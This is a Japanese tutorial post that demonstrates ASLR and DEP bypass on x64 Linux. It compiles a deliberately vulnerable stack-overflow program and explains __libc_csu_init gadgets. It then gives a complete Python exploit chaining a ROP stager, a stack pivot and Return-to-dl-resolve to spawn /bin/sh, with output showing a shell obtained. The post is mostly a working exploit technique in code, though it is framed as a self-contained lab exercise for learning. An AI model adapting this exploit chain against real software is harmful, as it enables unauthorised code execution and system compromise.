x64でROP stager + Return-to-dl-resolve + __libc_csu_init gadgetsによるASLR+DEP回避をやってみる
x64環境においてROPを行うには複数のレジスタをセットする必要があるが、glibcの__libc_csu_init関数を利用すると任意の3引数関数が呼び出せることが知られている。 ここでは、ROP stager + Return-to-resolveに加えてこれを利用することで、ASLR+DEPが有効な条件下でlibcバイナリに依存しない形でのシェル起動をやってみる。
環境
Ubuntu 12.04 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
まず、スタックバッファオーバーフローを起こせるプログラムを書いてみる。
/* bof.c */
#include <unistd.h>
int main()
{
char buf[100];
int size;
read(0, &size, 8);
read(0, buf, size);
write(1, buf, size);
return 0;
}
このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。
ASLR、DEP有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector bof.c $ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out AAAA
__libc_csu_initを使ったレジスタセットおよび関数呼び出し
コンパイルした実行ファイルをディスアセンブルすると、__libc_csu_init関数の中に次のようなコードが存在することがわかる。
$ objdump -d a.out 00000000004005a0 <__libc_csu_init>: ... 4005f0: 4c 89 fa mov rdx,r15 4005f3: 4c 89 f6 mov rsi,r14 4005f6: 44 89 ef mov edi,r13d 4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 4005fd: 48 83 c3 01 add rbx,0x1 400601: 48 39 eb cmp rbx,rbp 400604: 75 ea jne 4005f0 <__libc_csu_init+0x50> 400606: 48 8b 5c 24 08 mov rbx,QWORD PTR [rsp+0x8] 40060b: 48 8b 6c 24 10 mov rbp,QWORD PTR [rsp+0x10] 400610: 4c 8b 64 24 18 mov r12,QWORD PTR [rsp+0x18] 400615: 4c 8b 6c 24 20 mov r13,QWORD PTR [rsp+0x20] 40061a: 4c 8b 74 24 28 mov r14,QWORD PTR [rsp+0x28] 40061f: 4c 8b 7c 24 30 mov r15,QWORD PTR [rsp+0x30] 400624: 48 83 c4 38 add rsp,0x38 400628: c3 ret
x64環境では関数を呼び出す前に引数をレジスタにセットする必要がある。 そこで、上のコードを利用すると、次のようにして任意の3引数関数を繰り返し呼ぶことができる。
- 0x400606にreturnして、スタックからrbx、rbp、r12、r13、r14、r15の各レジスタに値をセットする
- 続けて0x4005f0にreturnして、r13d、r14、r15レジスタの値をedi、rsi、rdxレジスタに移した上で、
r12+rbx*8に置かれているアドレスを関数としてcallする rbp == rbx+1となるようにレジスタを調整しておくことで、jne命令によるジャンプを通過する- 再び0x400606にたどりつくので、スタックから各レジスタに値をセットした上で2に戻る
ここで、rbxレジスタにセットする値として0を選べば、call命令はcall [r12]とできる。
すなわち、rbx == 0、rbp == 1とした上で、r12レジスタに関数のアドレスが入っているアドレス(ポインタ)、r13 (=edi)、r14 (=rsi)、r15 (=rdx) レジスタに関数の引数をセットすることで、任意の3引数関数を呼ぶことができる。
特に、r12レジスタにセットするアドレスとしてGOTテーブルを利用すると、PLTにある任意のライブラリ関数を呼び出すことができる。
なお、このgadgetではrdxレジスタまでしかセットできないため、sendやrecvなど4引数以上の関数を呼び出したい場合には別途rcx、r8、r9レジスタに値をセットしておく必要がある。
__libc_csu_init関数のソースコードは次のようになっている。
void
__libc_csu_init (int argc, char **argv, char **envp)
{
/* For dynamically linked executables the preinit array is executed by
the dynamic linker (before initializing any shared object). */
#ifndef LIBC_NONSHARED
(snip)
#endif
_init ();
const size_t size = __init_array_end - __init_array_start;
for (size_t i = 0; i < size; i++)
(*__init_array_start [i]) (argc, argv, envp);
}
ディスアセンブル結果と比べてみると、__init_array_start[i]を呼ぶ箇所の前後で対応するレジスタの操作が行われていることがわかる。
エクスプロイトコードを書いてみる
最初に、実行ファイルからセクション情報およびディスアセンブル結果を出力しておく。
$ readelf -S a.out > dump.txt $ objdump -d a.out >> dump.txt
上で出力した情報をもとに、__libc_csu_init gadgetsを利用したエクスプロイトコードを書くと次のようになる。
# exploit.py
import sys
import struct
from subprocess import Popen, PIPE
bufsize = int(sys.argv[1])
addr_dynsym = 0x00000000004002b8 # readelf -S a.out
addr_dynstr = 0x0000000000400330 # readelf -S a.out
addr_relplt = 0x00000000004003b8 # readelf -S a.out
addr_plt = 0x0000000000400420 # readelf -S a.out
addr_got = 0x0000000000600fe8 # readelf -S a.out
addr_bss = 0x0000000000601028 # readelf -S a.out
addr_got_read = 0x601008 # objdump -d -j.plt a.out
addr_got_write = 0x601000 # objdump -d -j.plt a.out
addr_set_regs = 0x400606 # pop junk/rbx/rbp/r12/r13/r14/r15; ret
addr_call_r12 = 0x4005f0 # mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+rbx*8];
# -> add rbx, 1; cmp rbx, rbp; jne addr_call_r12; jmp addr_set_regs
addr_leave_ret = 0x400595 # leave; ret
addr_ret = 0x400596 # ret
stacksize = 0x800
base_stage = addr_bss + stacksize
buf1 = 'A' * bufsize
buf1 += 'A' * (8-len(buf1)%8)
buf1 += 'AAAAAAAA' * 2
buf1 += struct.pack('<Q', addr_set_regs)
buf1 += 'AAAAAAAA'
buf1 += struct.pack('<Q', 0) # rbx == 0
buf1 += struct.pack('<Q', 1) # rbp == rbx+1
buf1 += struct.pack('<Q', addr_got_write) # r12 -> call [r12]
buf1 += struct.pack('<Q', 1) # r13 -> edi
buf1 += struct.pack('<Q', addr_got+8) # r14 -> rsi
buf1 += struct.pack('<Q', 8) # r15 -> rdx
buf1 += struct.pack('<Q', addr_call_r12)
buf1 += 'AAAAAAAA'
buf1 += struct.pack('<Q', 0) # rbx == 0
buf1 += struct.pack('<Q', 1) # rbp == rbx+1
buf1 += struct.pack('<Q', addr_got_read) # r12 -> call [r12]
buf1 += struct.pack('<Q', 0) # r13 -> edi
buf1 += struct.pack('<Q', base_stage) # r14 -> rsi
buf1 += struct.pack('<Q', 400) # r15 -> rdx
buf1 += struct.pack('<Q', addr_call_r12)
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA' # rbx
buf1 += struct.pack('<Q', base_stage) # rbp
buf1 += 'AAAAAAAA' # r12
buf1 += 'AAAAAAAA' # r13
buf1 += 'AAAAAAAA' # r14
buf1 += 'AAAAAAAA' # r15
buf1 += struct.pack('<Q', addr_leave_ret)
p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
p.stdin.write(struct.pack('<Q', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))
addr_link_map = struct.unpack('<Q', p.stdout.read(8))[0]
print "[+] addr_link_map = %x" % addr_link_map
addr_dt_versym = addr_link_map + 0x1c8
addr_reloc = base_stage + 8*28
align_reloc = 0x18 - ((addr_reloc-addr_relplt) % 0x18)
addr_reloc += align_reloc
addr_sym = addr_reloc + 24
align_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18)
addr_sym += align_dynsym
addr_symstr = addr_sym + 24
addr_cmd = addr_symstr + 7
reloc_offset = (addr_reloc - addr_relplt) / 0x18
r_info = (((addr_sym - addr_dynsym) / 0x18) << 32) | 0x7
st_name = addr_symstr - addr_dynstr
buf2 = 'AAAAAAAA'
buf2 += struct.pack('<Q', addr_set_regs)
buf2 += 'AAAAAAAA'
buf2 += struct.pack('<Q', 0) # rbx == 0
buf2 += struct.pack('<Q', 1) # rbp == rbx+1
buf2 += struct.pack('<Q', addr_got_read) # r12 -> call [r12]
buf2 += struct.pack('<Q', 0) # r13 -> edi
buf2 += struct.pack('<Q', addr_dt_versym) # r14 -> rsi
buf2 += struct.pack('<Q', 8) # r15 -> rdx
buf2 += struct.pack('<Q', addr_call_r12)
buf2 += struct.pack('<Q', addr_ret) # [r12]
buf2 += struct.pack('<Q', 0) # rbx == 0
buf2 += struct.pack('<Q', 1) # rbp == rbx+1
buf2 += struct.pack('<Q', base_stage + 8*10) # r12 -> call [r12]
buf2 += struct.pack('<Q', addr_cmd) # r13 -> edi
buf2 += 'AAAAAAAA' # r14 -> rsi
buf2 += 'AAAAAAAA' # r15 -> rdx
buf2 += struct.pack('<Q', addr_call_r12)
buf2 += 'A' * 0x38 # junk/rbx/rbp/r12/r13/r14/r15
buf2 += struct.pack('<Q', addr_plt)
buf2 += struct.pack('<Q', reloc_offset)
buf2 += 'AAAAAAAA'
buf2 += 'A' * align_reloc
buf2 += struct.pack('<Q', addr_got_read) # Elf64_Rela
buf2 += struct.pack('<Q', r_info)
buf2 += struct.pack('<Q', 0)
buf2 += 'A' * align_dynsym
buf2 += struct.pack('<I', st_name) # Elf64_Sym
buf2 += struct.pack('<I', 0x12)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', 0)
buf2 += 'system\x00'
buf2 += '/bin/sh <&2 >&2\x00'
buf2 += 'A' * (400-len(buf2))
p.stdin.write(buf2)
p.stdin.write(struct.pack('<Q', 0))
p.wait()
このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。
- __libc_csu_init gadgetsを使いwrite関数を呼び出し、GOTセクションにあるlink_map構造体のアドレスを書き出す
- さらにread関数を呼び出しデータを読み込んだ後、
leave; retgadgetによりstack pivotを行う - __libc_csu_init gadgetsを使いread関数を呼び出し、x64環境におけるReturn-to-dl-resolveの下準備として
l->l_info[VERSYMIDX (DT_VERSYM)]にNULLをセットする - 適当な引数をセットした上で、Return-to-dl-resolveを行う
引数をセットして実行してみる。
$ python exploit.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x06\x06@\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x10`\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf0\x0f`\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\xf0\x05@\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x08\x10`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\xf0\x05@\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAA(\x18`\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x95\x05@\x00\x00\x00\x00\x00' [+] addr_link_map = 7f39f26fe2c8 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
__libc_csu_init gadgetsにより、ASLRおよびDEPが有効なx64環境で、libcバイナリの情報を利用することなくシェルが起動できていることが確認できた。
関連リンク
- Ghost in the Shellcode 2014 - fuzzy
- v0id s3curity: Some universal gadget sequence for Linux x86_64 ROP payload
- untitled: ROP with common functions in Ubuntu/Debian x86
- Caonguyen: Advance exploitation: ROP with libc function
- Out Of Control: Overcoming Control-Flow Integrity (IEEE S&P 2014)
- Linux x86 Program Start Up